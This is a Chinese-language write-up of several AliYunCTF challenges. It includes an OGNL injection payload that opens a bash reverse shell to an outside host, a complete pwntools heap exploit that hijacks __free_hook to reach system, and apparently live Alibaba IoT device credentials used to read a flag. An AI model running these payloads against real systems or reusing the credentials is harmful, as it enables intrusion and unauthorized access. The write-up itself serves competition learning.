AliYunCTF partly WriteUp

整理 & 询问几个师傅后做的

WEB

通向shell之路

import requests as req
from urllib.parse import quote
import base64

url = "http://120.55.13.151:8080/app/user/%s"
headers = {
    "Accept": "application/json, text/plain, */*",
    "Referer": "http://120.55.13.151:8080/app/",
    "Connection": "close"}

payload = '(#r="a".getClass().forName("java.lang.Runtime")).(#m=#r.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#o=#m.invoke(null,null)).(#e=#r.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("[Ljava.lang.String;")}.{? #this.getParameters().length == 1}[0]).(#e.invoke(#o,new String[]{"sh","-c","echo %s |base64 -d|bash"}))' % base64.b64encode(b"bash -i >& /dev/tcp/118.X.X.164/2333 0>&1")
payload = "../../action/%s" % quote(quote(payload))
resp = req.get(url % payload.replace("/","%252F"), headers=headers)

RECERSE

字节码跳动

Creating a Ghidra processor module in SLEIGH using V8 bytecode as an example – PT SWARM (ptsecurity.com)

V8字节码,main→aaa→ccc​,可以直接去找对应func​的字节码

#include <stdio.h>
#include <stdint.h>

uint8_t enc[] = {
    0x3e, 0xdd, 0x79, 0x25, 0xcd, 0x6e, 0x04, 0xab,
    0x44, 0xf2, 0x5b, 0xef, 0x57, 0xbc, 0x53, 0xbd,
    0x20, 0xb7, 0x4b, 0x8c, 0x11, 0xf8, 0x93, 0x09,
    0x0f, 0xdc, 0xdf, 0xdd, 0xad, 0x07, 0x09, 0x10,
    0x01, 0x00, 0xfe, 0x6a, 0x92, 0x30, 0x33, 0x32,
    0x34, 0xfb, 0xae
};

void decrypt(uint8_t *enc, uint8_t *flag, int len) {
    // Initialize variables
    uint8_t r0 = enc[18];
    uint8_t r1 = 159;

    // Decrypt byte sequence
    for (int i = len - 1; i >= 0; i--) {
        if (i > 0 && i < 19) {
            flag[i] = (enc[i] - enc[i - 1] - 51) % 256;
        } else if (i == 0) {
            flag[i] = (enc[i] - 170 - 51) % 256;
        } else {
            r1 ^= enc[i];
            flag[i] = (enc[i] - r1) % 256;
        }
    }
}

int main() {
    uint8_t flag[43] = {0};
    decrypt(enc, flag, 43);
    for (int i = 0; i < 43; i++) {
        printf("%c ", flag[i]);
    }
    printf("\n");
    return 0;
}

PWN

babyheap

rust pwn

有个后门

限制堆块大小0x200​,限制堆块数量不超过8,存在UAF漏洞

2.27版本下tcachebin attack​劫持free_hook​为system​,再通过free将'/bin/sh\x00'​作为rdi送入即可

# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"

name = './babyheap'

debug = 0
if debug:
    p = remote('47.98.229.103',1337)
else:
    p = process(name)

#libcso = '/lib/x86_64-linux-gnu/libc-2.31.so'
libcso = './libc-2.27.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

'''
binary = './pwn'
ip = '0.0.0.0'
port = 8888
#libcelf = './libc.so.6'
libcelf = '/lib/x86_64-linux-gnu/libc-2.31.so'
#ldfile = './ld.so'
ldfile =  '/lib64/ld-linux-x86-64.so.2'

local = 1
armmips = 0
x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

if armmips == 0:
    if local:
        if ldfile:
            p = process([ldfile, binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        elif libcelf:
            p = process([binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        else:
            p = process(binary)
    else:
        p = remote(ip, port)
else:
    if local:
        if x64_32:
            p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi", binary])
        else:
            p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
    else:
        p = remote(ip, port)

elf = ELF(binary)
'''

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 4
show_idx = 2
edit_idx = 3

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()

bss = elf.bss()
li('bss = '+hex(bss))

def choice(cho):
    sla('>>> ',cho)

def add(size,content):
    choice(add_idx)
    sla('now the size: ',size)
    p.sendlineafter('next the content: ',content)

def delete(idx):
    choice(delete_idx)
    sla('house index: ',idx)

def show(idx):
    choice(show_idx)
    sla('house index: ',idx)

def edit(idx,content):
    choice(edit_idx)
    sla('house index: ',idx)
    p.sendlineafter(': ',content)

for i in range(8):
    add(0x1f0,'a'*0x1f0)

for i in range(8):
    delete(1953723762+7-i)

show(0)

libc_base=l64()-96-0x10-libc.sym['__malloc_hook']
li(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
ogg=[0x4f2a5,0x4f302,0x10a2fc]
og=libc_base+ogg[1]

pl=p64(free_hook)
pl+=pl.ljust(0x1f0,b'\x00')
edit(1,pl)

delete(7)
delete(6)

pl2=b'/bin/sh\x00\x00'
pl2+=pl2.ljust(0x1f0,b'\x00')
add(0x1f0,pl2)

pl3=p64(sys)
pl3+=pl3.ljust(0x1f0,b'\x00')
add(0x1f0,pl3)

delete(6)

itr()

#print('========================================================================================')
'''
def pwn():

if __name__ == '__main__':
    pwn()
'''

#print('========================================================================================')

'''
bss = elf.bss()

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

pop_rdx12 = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

sys = libc_base + libc.sym['system'] 
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

syscall = libc_base + libc.sym['syscall']

gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))
mov    rbp,QWORD PTR [rdi+0x48]
mov    rax,QWORD PTR [rbp+0x18]
lea    r13,[rbp+0x10]
mov    DWORD PTR [rbp+0x10],0x0
mov    rdi,r13
call   QWORD PTR [rax+0x28]

'''

MISC

懂得都懂带带弟弟

https://github.com/nodejs/node/issues/18265

import('/flag');

消失的声波

image

有提到ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2​这个OSS云存储

直接访问http://iot2023.oss-cn-hangzhou.aliyuncs.com/

image

但是可以wget进行请求

image

https://help.aliyun.com/document_detail/261162.html

https://blog.csdn.net/m0_47722349/article/details/124303495

查找一下相关资料发现,连接这个oss需要一些参数

image

image

在文件里寻找一下这些关键信息

image

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

然后后面那部分topic​要订阅和发送消息,稍稍修改一下:

image

import sys
from linkkit import linkkit
import threading
import traceback
import inspect
import time
import logging

__log_format = '%(asctime)s-%(process)d-%(thread)d - %(name)s:%(module)s:%(funcName)s - %(levelname)s - %(message)s'
logging.basicConfig(format=__log_format)

lk = linkkit.LinkKit(
    host_name="cn-shanghai",
    product_key="a1eAwsBKddO",
    device_name="ncApIY2XV9NUIY4VpbGk",
    device_secret="04845e512ead208b2437d970a154d69e")

lk.enable_logger(logging.DEBUG)

def on_device_dynamic_register(rc, value, userdata):
    if rc == 0:
        print("dynamic register device success, value:" + value)
    else:
        print("dynamic register device fail, message:" + value)

def on_connect(session_flag, rc, userdata):
    print("on_connect:%d,rc:%d" % (session_flag, rc))
    pass

def on_disconnect(rc, userdata):
    print("on_disconnect:rc:%d,userdata:" % rc)

def on_topic_message(topic, payload, qos, userdata):
    print("on_topic_message:" + topic + " payload:" + str(payload) + " qos:" + str(qos))
    pass

def on_subscribe_topic(mid, granted_qos, userdata):
    print("on_subscribe_topic mid:%d, granted_qos:%s" %
          (mid, str(','.join('%s' % it for it in granted_qos))))
    pass

def on_unsubscribe_topic(mid, userdata):
    print("on_unsubscribe_topic mid:%d" % mid)
    pass

def on_publish_topic(mid, userdata):
    print("on_publish_topic mid:%d" % mid)

lk.on_device_dynamic_register = on_device_dynamic_register
lk.on_connect = on_connect
lk.on_disconnect = on_disconnect
lk.on_topic_message = on_topic_message
lk.on_subscribe_topic = on_subscribe_topic
lk.on_unsubscribe_topic = on_unsubscribe_topic
lk.on_publish_topic = on_publish_topic

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()

while True:
    try:
        msg = input()
    except KeyboardInterrupt:
        sys.exit()
    else:
        if msg == "1":
            lk.disconnect()
        elif msg == "2":
            lk.connect_async()
        elif msg == "3":
            rc, mid = lk.subscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("subscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("subscribe topic fail:%d" % rc)
        elif msg == "4":
            rc, mid = lk.unsubscribe_topic(lk.to_full_topic("user/get"))
            if rc == 0:
                print("unsubscribe topic success:%r, mid:%r" % (rc, mid))
            else:
                print("unsubscribe topic fail:%d" % rc)
        elif msg == "5":
            rc, mid = lk.publish_topic(lk.to_full_topic("user/update"), "{'id','flag'}")
            if rc == 0:
                print("publish topic success:%r, mid:%r" % (rc, mid))
            else:
                print("publish topic fail:%d" % rc)
        elif msg == "8":
            ret = lk.dump_user_topics()
            print("user topics:%s", str(ret))
        elif msg == "9":
            lk.destruct()
            print("destructed")
        else:
            sys.exit()

这个对python版本有限制,3.10及以上会报错。。。

而且怀疑阿里云这个iot平台有问题🤔发了好几次没通

7a8c22ad088b45a9e37aaf241ee147b

OOBdetection

需要构建的数据只需要第一阶段的内容就够了,只需要知道变量、数组长度就足够了

然后需要测量的是第二段和第三段的访问是否合法,做键值对去记录它在初始化数据时的内容 同时在这个阶段也预处理做一下长度的校验

关键是第三部分的运算求解赋值,把前面的所有的全都搞一个字典存起来,然后在最后一行的话一直替换替换到替换到不包含字母为止,如果它还是包含字母的话就是no,如果全部能替换到的话,就判断它是否溢出。

import binascii
import re
import socket
import subprocess
import os
import subprocess
from hashlib import sha256

def tostr(shizi,num_dict,n_dict,x):
    match = re.search(r'[a-z]', shizi)
    bz = 0
    while (match and bz < 10):
        bz += 1
        for i in num_dict:
            if i in shizi:
                shizi = shizi.replace(i, num_dict[i])
        for i in n_dict:
            if i in shizi:
                shizi = shizi.replace(i, n_dict[i])
        if 'x' in shizi and x != -123123:
            shizi = shizi.replace('x', str(x))
        match = re.search(r'[a-z]', shizi)
    if bz == 10:
        return 'unknown'
    else:
        return shizi
def panduan( qus):
    n_dict = {}
    max_dict={}
    num_dict={}
    double_dict=[0,0,0]
    x=-123123
    last=''
    for line in qus.splitlines():
        try:
            line=line.replace(' ', '')
            match = re.search(r'int\w\[(.*?)\]\[(.*?)\];', line)
            if match:
                tmp1=match.group(1)
                tmp2 = match.group(2)
                tmp1=tostr(tmp1,num_dict,n_dict,x)
                tmp2=tostr(tmp2,num_dict,n_dict,x)
                if tmp1=='unknown':
                    return 'unknown'
                else:
                    double_dict[1]=eval(tmp1)
                    double_dict[2]=eval(tmp2)
            match = re.search(r'\[(\d+)\]\[(\d+)\]=', line)
            if match:
                if int(match.group(1))<int(double_dict[1]) and int(match.group(2))<int(double_dict[2]):
                    return 'safe'
                else:
                    return 'oob'
            if 'int' in line and not re.search(r'\[(.*?)\]\[(.*?)\];', line):
                match = re.search(r'intx=(\d+);', line)
                if match:
                    x=int(match.group(1))
                # 读取n、n1...
                match=re.search(r'int(n\d*)=(\d+);',line)
                if match:

                   n_dict.update({match.group(1): match.group(2)})
                else:
                    #读取栈上限
                    match = re.search(r'int(\w)\[(n.*)\];', line)
                    if match:
                        max_dict.update({match.group(1): n_dict[match.group(2)]})
                    else:
                        match = re.search(r'int(\w)\[(\d+)\];', line)
                        if match:
                            max_dict.update({match.group(1): match.group(2)})
            else:
                match=re.search(r'(.*?)=(.*?);', line)
                if match:
                    last = line
                    num_dict.update({match.group(1): match.group(2)})
                    match=re.search(r'(\w)\[(\d+)\]=.*?;', line)
                    if match:
                        if int(match.group(2))>=int(max_dict[match.group(1)]):
                            return 'oob'
        except Exception as e:
            print(e)
            return 'oob'
    match = re.search(r'(\w)\[(.*?)\]=.*?;', last)
    if match:
        zimu=match.group(1)
        str1=match.group(2)
        str1=tostr(str1,num_dict,n_dict,x)
        # print(x)
        # print(str1)
        if str1=='unknown':
            return str1
        # print(str1)
        try:
            if eval(str1)>=int(max_dict[zimu]) or eval(str1)<0:
                return 'oob'
            else:
                return 'safe'
        except Exception as e:
            return 'oob'
    return 'unknown'
if __name__ == '__main__':
    # 执行 nc 命令并获取其输出内容
    remote_host = '47.98.209.191'
    remote_port = 1337
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接远程主机的指定端口
    sock.connect((remote_host, remote_port))
    # 接收远程主机发送的数据
    data1 = sock.recv(1024)
    data=data1.decode('utf-8')
    print(data)
    str1=data[13:27]
    str2=data[32:96]
    print(str1)
    print(str2)
    answer=''
    question=''
    count=0;
    data2 = sock.recv(1024)
    for i in range(256):
        for j in range(256):
            for k in range(256):
                a=i.to_bytes(1,byteorder='big')
                b=j.to_bytes(1,byteorder='big')
                c=k.to_bytes(1,byteorder='big')
                # s = os.urandom(10)
                s = a+b+c+bytes.fromhex(str1)
                digest = sha256(s).hexdigest()
                if digest == str2:
                    answer=s[:3].hex()
                    print('Answer is:',s[:3].hex())
                    break
            else:
                continue
            break
        else:
            continue
        break
    answer = answer+'\n'
    sock.send(answer.encode())
    while True:
        while True:
            chunk = sock.recv(1024)
            # print(chunk.decode('utf-8'))
            # print(1)
            if 'int' in chunk.decode('utf-8'):
                question=chunk.decode('utf-8')
            if 'safe/oob/' in chunk.decode('utf-8'):
                # print(2)
                break
            if 'rong' in chunk.decode('utf-8'):
                input()
        # print(3)
        count+=1;
        answer = panduan(question)+'\n'
        # print(answer.encode())
        print(count)
        sock.send(answer.encode())
        if count>=300:
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            chunk = sock.recv(1024)
            print(chunk.decode('utf-8'))
            input()
    # print('complate!')
    #aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}

image

发布者

AndyNoel

一杯未尽,离怀多少。